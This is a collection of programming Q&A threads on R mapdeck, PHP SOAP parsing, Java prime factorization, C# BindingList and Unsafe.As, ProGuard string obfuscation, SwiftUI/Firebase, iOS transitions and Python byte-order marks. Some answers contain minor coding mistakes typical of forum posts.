## convert back to sf LINESTRING
sf_trips <- sfheaders::sf_linestring(
  obj = dt
  , x = "X"
  , y = "Y"
  , z = "Z"
  , m = "M"
  , linestring_id = "L1"
)

## You don't need this bit, where I join the 'length' back on.
sf_roads$geometry <- NULL

sf_trips <- merge(
  x = sf_trips
  , y = sf_roads
  , by.x = "L1"
  , by.y = "id"
)

mapdeck(
  style = mapdeck_style("dark")
) %>%
  add_trips(
    data = sf_trips[ sf_trips$length > 500, ]  ## only showing 'long' roads
    , stroke_colour = "L1"
    , stroke_width = 100
    , opacity = 0.8
    , animation_speed = 10
    , trail_length = 50
    , palette =
  )


text:
Q: Approach for saving data possibly without db I'm working on a school project where I need to continously send small audio data packets to server, once every 10ms or so.
If there is no internet connection, I want to save these bytes somewhere on the phone along with their IDs (they need to be sent in order they were recorded). Once the internet connection is restored, this data is sent to server and upon being accepted by server they can be removed.
I thought of simply saving this into some JSON or txt file but then, wouldn't there be a better solution?


text:
Q: How can i modify my array code to complete even if a value does not exist in the array? I am modifying some code i had written for my by a developer who is no longer working with us, essentially the code pulls data from a web service and parses to an array, it then looks for keys within the array and publishes associated values to an HTML table, it all works fine when each of the entries exists in the data however the point of modifying the code if to return a generic value ("not submitted") if the value is not found in the array.
background info is helpful so the use case is:
Array is made up of the sales team, they each login to a website and submit their sales totals for the day, we interrogate the web service to return the data via a SOAP call which pulls the data into the code.  The data is parsed and the values are represented in a table on a web page.
If a single sales team member does not submit data then the code fails to return any data.
I've been googling and hitting my pluralsight account to learn as much as i can about how this is done but i'm falling short.
class SalesResponseFactory
{
    private $date;

    //private $keyArray = ['KE', 'JY', 'OR', 'KR', 'SY', 'DB'];

    public $responseData = [];

    function __construct($date)
    {
        libxml_use_internal_errors(true);

        $this->date = $date;
    }

    private function getResponseData($date)
    {
       ....
    }

    private function parserToArray($data)
    {
        $data = substr($data, strpos($data, "<DataResult>"));
        $data = substr($data, 0, strpos($data, "</DataResult>") + strlen("</DataResult>"));

        $xml = simplexml_load_string($data);

        if ($xml === false) {
            throw new Exception("Invalid user credentials.");
        }

        $json = json_encode($xml);
        $array = json_decode($json,TRUE);
        if (empty($array['Results'])) {
            throw new Exception("Holiday - No Sales Data Recorded");
        }

        return $array['Results']['Data'];
    }

    private function alignmentArray($sales)
    {
        if ($sales['Name'] == 'Market Code' || $sales['Name'] == 'Sales Volume' || $sales['Name'] == 'Turnover Volume' || $sales['Name'] == 'Date') {
            if($sales['Name'] == 'Market Code') {
                $this->responseData[$sales['Instrument']]['Market Code'] = $sales['Value'];
            }
            if($sales['Name'] == 'Sales Volume') {
                $this->responseData[$sales['Instrument']]['Sales Volume'] = $sales['Value'];
            }
            if($sales['Name'] == 'Turnover Volume') {
                $this->responseData[$sales['Instrument']]['Turnover Volume'] = $sales['Value'];
            }
            else {
                $this->responseData[$sales['Instrument']]['Date'] = $sales['Value'];
            }
        }

    }

    public function parser()
    {
        try {
            $salesArray = $this->getResponseData($this->date);
        } catch (Exception $e) {
            $response['status'] = 'error';
            $response['message'] = $e->getMessage();
            $response['results'] = '';

            return json_encode($response);
        }

        foreach ($salesArray as $sales) {
            $this->alignmentArray($sales);
        }

        $response['status'] = 'ok';
        $response['message'] = 'success';
        $response['results'] = [];
        foreach ($this->responseData as $row) {
            array_push($response['results'], $row);
        }

        return json_encode($response);
    }
}

?>

i'd expect that null values should still be output but whats actually happening is that no data is being returned to the HTML table.


text:
Q: Returning Prime Factorization in a particular form My problem is that I need to take an inputted integer and return the prime factorization of it. It needs to be in the form of:
int * int * int * int

For example, the prime factorization of 180 would return:
2 * 2 * 3 * 3 * 5.

The code I have currently is:
public static String factor(int n)
{
    String str = "";
    if(isPrime(n)) {
        str = "" + n;
    }else if(n == 2) {
        str = "2";
    }else{
        for (int i = 2; i <= Math.sqrt(n); i++)
        {
            while (n % i == 0)
            {
                str = str + i;
            }
        }
    }
    return str;
}

The isPrime method mentioned is:
public static boolean isPrime(int n)
{
    if (n <= 1) {
        return false;
    }
    for (int i = 2; i <= n/2; i++)
    {
        if (n % i == 0) {
            return false;
        }
    }
    return true;
}

A: In your while loop, you need to divide the remaining n value by each found factor.  Otherwise, you'll never break out of the loop.
while (n % i == 0) {
    str += (str.equals("") ? i : " * " + i);
    n /= i;
}

A: Below is the Running Code.
public static void main(String[] args) throws IOException
       {
          System.out.println(factor(24));
}
           public static String factor(int n)
    {
        String str = "";
        String multiplySymbol = "";
        if(isPrime(n)) {
            str = "" + n;
            }else if(n == 2) {
            str = "2";
            }else{
            for (int i = 2; i <= n; i++)
            {
                while (n % i == 0)
                {
                  str +=  multiplySymbol+i ;
                  multiplySymbol = "x";
                    n /= i;
                }
            }
        }
        return str;
    }

           public static boolean isPrime(int n)
    {
        if (n <= 1) {
        return false;
        }
        for (int i = 2; i <= n/2; i++)
        {
            if (n % i == 0) {
            return false;
            }
        }
        return true;
    }

}

A: Looking at just the formatting problem, inserting the " * " separator as required. I approach it as "every number, except the first, is preceded by the separator string". This puts the separator before, rather than after, each entry, and automatically leaves the last entry without a trailing separator. I use a boolean flag to indicate the first entry in the list.
This is in pseudocode:
// primeArray holds the previously calculated prime factors.
function printPrimes(primeArray)
  separator ← " * "
  atFirst ← true

  foreach thisPrime in primeArray
    if (atFirst)
      // No separator before first prime.
      atFirst ← false
    else
      // Put separator before all the other primes.
      print(separator)
    end if

    // Print the number.
    print(thisPrime)
  end foreach
end function


text:
Q: How to convert an Array to a Bindinglist?
*

*Can you explain me why does this occur in these two different outputs?

*

*In the description I translated the code to better understand the question

*How can I convert an Array in a IBindingList? Because is imposible sort my DataGridView
Code:
public class ProductDALC
{
    public List<Product> ListProducts() //Product is the table name of my Database named DotNetStore
    {
        DotNetDataContext DataModel = new DotNetDataContext();
        var query = from objProduct in DataModel.Product.AsEnumerable()
                  select new Product { idProduct = objProducto.CodProduct, Name = objProduct.Name };

        return query.ToList();
    }

    public Array ArrayProducts()
    {
        DotNetDataContext DataModel = new DotNetDataContext();
        var query = from objProduct in DataModel.Product.AsEnumerable()
                    select new
                    {
                        idProduct = ("0000" + Convert.ToString(objProduct.idProduct)).Substring(("0000" + Convert.ToString(objProduct.idProduct)).Length - 4, 4),
                        Nombre = objProduct.Name,
                        Cantidad = objProduct.Quantity

                    };

        return query.ToArray();
    }
}

A: do you try this:  http://msdn.microsoft.com/en-us/library/ms132681.aspx
public BindingList<Product> ArrayProducts()
{
    DotNetDataContext DataModel = new DotNetDataContext();
    var query = from objProduct in DataModel.Product.AsEnumerable()
                select new Product
                {
                    idProduct = ("0000" + Convert.ToString(objProduct.idProduct)).Substring(("0000" + Convert.ToString(objProduct.idProduct)).Length - 4, 4),
                    Nombre = objProduct.Name,
                    Cantidad = objProduct.Quantity
                };

    return new BindingList<Customer>(query.ToList());
}


text:
Q: Does proguard work to obfuscate static string constants? Will  proguard work to obfuscate static string constants?

A: What ProGuard does (if configured correctly to do so) is in-line string constants. It wouldn't make much sense to obfuscate them, think of it, a string constant could be used for representing a message to the user, and what good would it do if it were obfuscated?

A: ProGuard doesn't obfuscate string constants, as mentioned in its FAQ. Its more recent specialized closed-source sibling for Android, DexGuard, provides additional application protection techniques, like string encryption and class encryption.
(I am the developer of ProGuard and DexGuard)

A: Based on my reading of the obfuscation options in the manual, the answer is No.
String literal obfuscation is theoretically possible, but it would be necessary to use a special classloader that de-obfuscated the String literals as they are read from the class file.  This would be tricky.  On top of that it doesn't achieve much, since someone can easily recover the original strings by running your application with a Java debugger attached.

A: No, ProGuard doesn't encrypt strings constants (Proguard FAQ Link)
But there are some commercial products which will help you with that.
I would recommend the Stringer Java Obfuscator because it has the check call context and integrity controls features which makes reverse engineering as hard as possible. IMHO Stringer is the best string encryptor for Java and Android on the market today.
Also see Allatori Java Obfuscator.
N.B. I'm CEO at Licel LLC. Developer of Stringer Java Obfuscator.


text:
Q: Using Unsafe.As to cast from marker interface to known generic type? I'm commonly facing facing scenarios where I need to cache objects of a common generic interface, but with varying generic types.
Let's consider this very contrived example (obviously not precisely a real world use case):
// IInterface is effectively just use as a non-generic marker interface for...
interface IInterface
{ }

// ... This one here!
interface IInterface<T1, T2> : IInterface
{
    T1 DoSomething(T2 withB);
}

class TheCache
{
    private readonly Dictionary<IInterface, IInterface> _cache = new();

    public void Store<T1, T2>(IInterface<T1,T2> key, IInterface<T1, T2> value)
        => _cache[key] = value;

    private IInterface<T1, T2> Get<T1, T2>(IInterface<T1, T2> key)
    {
        // Can we use Unsafe.As safely here?
        return Unsafe.As<IInterface<T1, T2>>(_cache[key]);
    }
}

TheCache ensures type consistency; we know that each key and value in _cache are not just IInterface, but actually some generic manifestation of IInterface<,>. We also know that the generic types of key and value instance are the same.
Now in the Get function, we know that the the retrieved value will actualy be an IInterface<T1,T2>, but we still need to cast it. A "naive" way would simply be
    private IInterface<T1, T2> Get<T1, T2>(IInterface<T1, T2> key)
        => (IInterface<T1,T2>)_cache[key];

While that works perfectly well, I assume there's a (tiny) performance penalty to do a checked cast.
Gven we know the cast will succeed, is there any unchecked cast we could apply instead? Specifically,

*

*Can we safely use Unsafe.As<IInterface<T1,T2>>() ? I'm not 100% firm on C# interface dispatch; while we know the result will be an instance of IInterface<T1,T2>(), I'm not sure if C# would generally need to do any translation when (safe) casting IInterface to IInterface<T1,T2>, which would not be present with an unsafe cast

*Probably not, but just in case: Would the answer to this question changed if _cache was a Dictionary<object,object>, instead of Dictionary<IInterface, IInterface> ?


text:
Q: State variable changes not called by Firebase sync Request , SwiftUI I keep a firebase request sync to retrieve value from db (value changed by BackEnd) .
When the value changes , firebase request called , count value is changed but onChange is not called (due to the fact that swift compares references ?) . Here is the code with an OO . It doesn make sense from a swiftui point of view but this is just to show that view  isn t sync when using Firebase sync request (value is)
class GlobalOO: ObservableObject {
    @Published var  multiV :String = "0"
}

import SwiftUI
import Firebase

private var multiSelectQuery : DatabaseReference!
private var handle :DatabaseHandle!

struct SearchToolBar: View {

@ObservedObject var globalOO = GlobalOO()

var body: some View {

    Text(globalOO.multiV)

        .onReceive(globalOO.$multiV, perform: { _ in

            print("received")

        })

        .onAppear{

              //this pat is only to update value in the db
            DispatchQueue.main.asyncAfter(deadline: .now()+3){
                Global.myRef.child(Strings.dbname_states).setValue("5")

            }
            DispatchQueue.main.asyncAfter(deadline: .now()+6){
                Global.myRef.child(Strings.dbname_states).setValue("7")

            }

           //

            multiSelection()
        }

}

private func multiSelection(){

    multiSelectQuery = Global.myRef.child(Strings.dbname_states)
    multiSelectQuery.keepSynced(true)

    handle =   multiSelectQuery.observe(.value,with :{(snapshot) in

        let multiValue:String = snapshot.value! as! String

        globalOO.multiV = multiValue

        print("DDD",globalOO.multiV)

    })

}

}


text:
Q: ios 7 custom transition not working for navigation controller I'm testing around the new iOS 7 custom transition API but i have some troubles with the navigation controller case. I tried a very basic test for the moment with this :
- (void)animateTransition:(id<UIViewControllerContextTransitioning>)transitionContext
{
    [transitionContext completeTransition:YES];
}

As you guessed, this code do nothing except to complete the transition with no animations.
But here's the problem : if it's working normally with present / dismiss a controller, all i see with push and pop methods is a black screen, as if [transitionContext completeTransition:YES] didn't work.
I've set all the delegate properties and delegate methods properly, since this method is called all the time (present, dismiss, push, pop).
Did someone already face this issue ?

A: Try something more like this, I was having trouble with it as well and this helped make more sense of it
- (void)animateTransition:(id <UIViewControllerContextTransitioning>)transitionContext
{

    // 1. obtain state from the context
    UIViewController *toViewController = [transitionContext viewControllerForKey:UITransitionContextToViewControllerKey];
    CGRect finalFrame = [transitionContext finalFrameForViewController:toViewController];

    // 2. obtain the container view
    UIView *containerView = [transitionContext containerView];

    // 3. set initial state
    CGRect screenBounds = [[UIScreen mainScreen] bounds]; toViewController.view.frame =
    CGRectOffset(finalFrame, 0, screenBounds.size.height);

    // 4. add the view
    [containerView addSubview:toViewController.view];

    // 5. animate
    NSTimeInterval duration = [self transitionDuration:transitionContext];

    [UIView animateWithDuration:duration animations:^{

        toViewController.view.frame = finalFrame;

     } completion:^(BOOL finished) {

        // 6. inform the context of completion
        [transitionContext completeTransition:YES];

    }];
}

Source: http://www.raywenderlich.com/forums/viewtopic.php?f=37&t=8851


text:
Q: how can i escape '\xff\xfe' to a readable string i see a string in this code:
data[:2] == '\xff\xfe'

i don't know what '\xff\xfe' is,
so  i want to escape it ,but not successful
import cgi
print cgi.escape('\xff\xfe')#print \xff\xfe

how can i get it.
thanks

A: >>> print '\xff\xfe'.encode('string-escape')
\xff\xfe

A: What is the connection between "i don't know what '\xff\xfe' is" and "so i want to escape it"? What is the purpose of "escaping" it?
It would help enormously if you gave a little more context than data[:2] == '\xff\xfe' (say a few line before and after) ... however it looks like it is testing whether the first two bytes of data could possibly represent an UTF-16 littleendian byte order mark. In that case you could do something like:
UTF16_LE_BOM = "\xff\xfe"

# much later
if data[:2] == UTF16_LE_BOM:
    do_something()

A: '\xFF' means the byte with the hex value FF. '\xff\xfe' is a byte-order mark: http://en.wikipedia.org/wiki/Byte_order_mark
You could also represent it as two separate characters but that probably won't tell you anything useful.

A: You cannot escape or encode an invalid string.
You should understand that you are working with strings and not byte streams and there are some characters you cannot accept in them, first of them being 0x00 - and also your example that is happening to be a BOM sequence.
So if you need to include non-valid strings characters (unicode or ascii) you will have to stop using strings for this.
Take a look at PEP-0358